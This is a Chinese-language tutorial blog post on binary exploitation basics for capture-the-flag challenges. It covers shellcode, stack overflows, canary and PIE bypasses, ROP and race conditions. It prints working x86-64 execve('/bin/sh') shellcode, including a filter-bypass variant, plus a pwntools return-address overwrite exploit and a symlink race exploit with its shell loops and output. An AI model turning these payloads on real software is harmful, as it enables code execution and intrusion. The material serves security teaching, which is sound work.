pwn栈溢出基本知识

shellcode

shellcode通常使用机器语言编写,是一段用于利用软件漏洞而执行的代码,因其目的常常是让攻击者获得目标机器的命令行shell而得名。

在编程语言中要想获得系统执行权限,经常使用**execve(‘/bin/sh/‘,0,0)**。

只需要将execve的系统调用号放入rax寄存器然后将**’/bin/sh’**的字符串放入第一个参数,再将第二第三个参数置为0 加上syscall就可以getshell。

64位程序中,使用寄存器传参,前6个参数按照寄存器rdi,rsi,rdx,rcx,r8,r9。如果参数超过6个则被压入栈中。

因此要做的就是将rax 置0,rdi放入’/bin/sh/‘ ,rsi,rdx均置0

下面的代码便为相对应的汇编代码

1
2
3
4
5
6
7
8
xor rax,rax // 清空rax寄存器
push 0x3b // 将execve 系统调用号59压入栈
pop rax //将栈顶59弹出给rax
xor rdi,rdi //将rdi寄存器清空
mov rdi ,0x68732f6e69622f //将'/bin/sh'放入rdi 小端字节序,先读低位字节,因此要将/bin/sh反过来
xor rsi,rsi //清空rsi
xor rdx,rdx //rdx
syscall

有时题目会加入一些限制,如禁用掉一些特殊的字节,需要在其中加入其他的汇编指令进行绕过,有一些需要通过nop sled命令,有一些用特别的加法。如下面汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xor rax,rax
push rax
mov rdi,0x0068732f6e69622f
push rdi
mov rdi,rsp
mov rsi,0x000000000000702d
push rsi
mov rbx,rsp
push 0x0
push rbx
push rdi
mov rsi,rsp
xor rdx,rdx
mov rax,59
inc byte ptr [rip]
.word 0x050e

通过inc指令绕过了对syscall字节的禁用。

当然shellcode不止execve这一种形式,还可以ORW,通过ROP的方式调用open, read,write来打印flag内容。

补充:

/bin/sh理解:指该脚本用/bin/sh来执行。

当没有加#!+shell解释器时,脚本会默认当前用户登录的shell为脚本解释器,通常为bash。

在终端下要执行一个可执行文件,直接输入它的文件名+路径。

1
./a #为了承接现在的文件夹,合并完整路径进行执行。

缓冲区溢出

编写程序时没有考虑到控制或者错误控制用户输入的长度,本质是向定长缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域。

栈溢出

函数调用栈

函数调用栈是指程序运行时内存一段连续的区域。

函数调用栈在内存中从高地址向低地址生长,所以栈顶对应内存地址在压栈时变小,退栈时变大。

寄存器esp存储函数调用栈的栈顶地址,ebp存储函数状态的基地址,eip存储即将执行的程序指令地址。

栈溢出的基本情况:

image-20230804233642405

例题

pwnstack

下载后得到文件pwn2.

放进IDA中看到main函数源码:

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
initsetbuf();
puts("this is pwn1,can you do that??");
vuln();
return 0;
}

查看vuln()函数源码

1
2
3
4
5
6
7
8
_int64 vuln()
{
char v1[160]; // [rsp+0h] [rbp-A0h] BYREF

memset(v1, 0, sizeof(v1));
read(0LL, (__int64)v1, 177LL);
return 0LL;
}

v1仅有160字节,但read函数读入177字节存在缓存区溢出。

查看vuln()函数的栈空间:

1
2
3
4
5
6
-00000000000000A0 var_A0          db ?
-000000000000009F db ? ; undefined
....................................................
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

函数返回地址在0x8 变量开始地址在0xA0。

所以可以构造0xA8大小的输入在拼接上后门函数的返回地址即可。

IDA中可以查看到后门函数的地址,因此可以写出exploit

1
2
3
4
5
6
7
8
from pwn import *
p = remote("ip",端口)
backdoor = 0x400762
payload = b'a'*0xA8 + p64(backdoor)#p32、p64所做的是,将一个整形数据进行hex转换后,将这个进行转换成byte型,并进行小段输入
p.recvuntil("this is pwn1,can you do that??\n")
p.send(payload)
p.interactive()

最后得到flag

canary保护的栈溢出

原理:在函数入口处,先从fs/gs寄存器中取出4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查栈上的值是否和存进的值一致。

canary绕过主要分为以下几种。

1.根据字符串特性泄露canary从而绕过。

2.Canary爆破(针对有fork函数的程序)

3 Stack smashing 故意触发canary_ssp leak

4.劫持 __stack_chk_fail

PIE保护的栈溢出

PIE是针对代码段.text数据段.data未初始化全局变量段.bss等固定地址的一个防护技术,开启PIE保护后,每次加载程序都会变换加载地址。

绕过PIE保护的核心思想就是partial writing(部分写地址),PIE保护的程序所有的代码段地址只有最后三个数是已知的,而程序基地址的最后三个数字一定为0,所以已知地址的最后三个数就是实际的地址三个数

因此可以据此进行爆破,枚举后两个字节全部的可能值,15-16次可能猜中正确的PIE。

ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

Race condition

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。

由于目前的系统中大量采用并发编程,经常对资源进行共享,往往会产生条件竞争漏洞。

这里我们主要考虑计算机程序方面的条件竞争。当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争。简单考虑一下,可以知道条件竞争需要如下的条件

  • 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  • 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  • 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

由于在并发时,执行流的不确定性很大,条件竞争相对难察觉,并且在复现和调试方面会比较困难。这给修复条件竞争也带来了不小的困难。

条件竞争造成的影响也是多样的,轻则程序异常执行,重则程序崩溃。如果条件竞争漏洞被攻击者利用的话,很有可能会使得攻击者获得相应系统的特权。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}

分析

可以看出程序的基本流程如下

  • 检查传入的命令行参数是不是 “flag”,如果是的话,就退出。
  • 检查传入的命令行参数对应的文件大小是否大于 255,是的话,就直接退出。
  • 将命令行参数所对应的文件内容读入到 buf 中 ,buf 的大小为 256。

看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。

如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。

基本思路

那么,基本思路来了,我们是想要获得对应的flag的内容。那么我们只要通过栈溢出修改对应的main函数的返回地址即可,通过反汇编以及调试可以获得showflag的地址,获得对应的 payload

1
2
3
4
5
➜  racetest cat payload.py 
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)

对应两个条件竞争的脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  racetest cat exp.sh    
#!/bin/sh
for i in `seq 500`
do
cp small fake
sleep 0.000008
rm fake
ln -s big fake
rm fake
done
➜ racetest cat run.sh
#!/bin/sh
for i in `seq 1000`
do
./test fake
done

其中 exp 用于来竞争在相应的窗口内删除 fake 文件,同时执行符号链接。run 用来执行程序。

具体效果

1
2
3
4
5
6
7
8
9
10
11
12
➜  racetest (sh exp.sh &) && sh run.sh
[...]
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{race_condition_succeed!}
[...]

其中成功的关键在于对应的 sleep 的时间选择。


pwn栈溢出基本知识
http://jty-123.github.io/2023/12/10/pwn/
作者
Jty
发布于
2023年12月10日
许可协议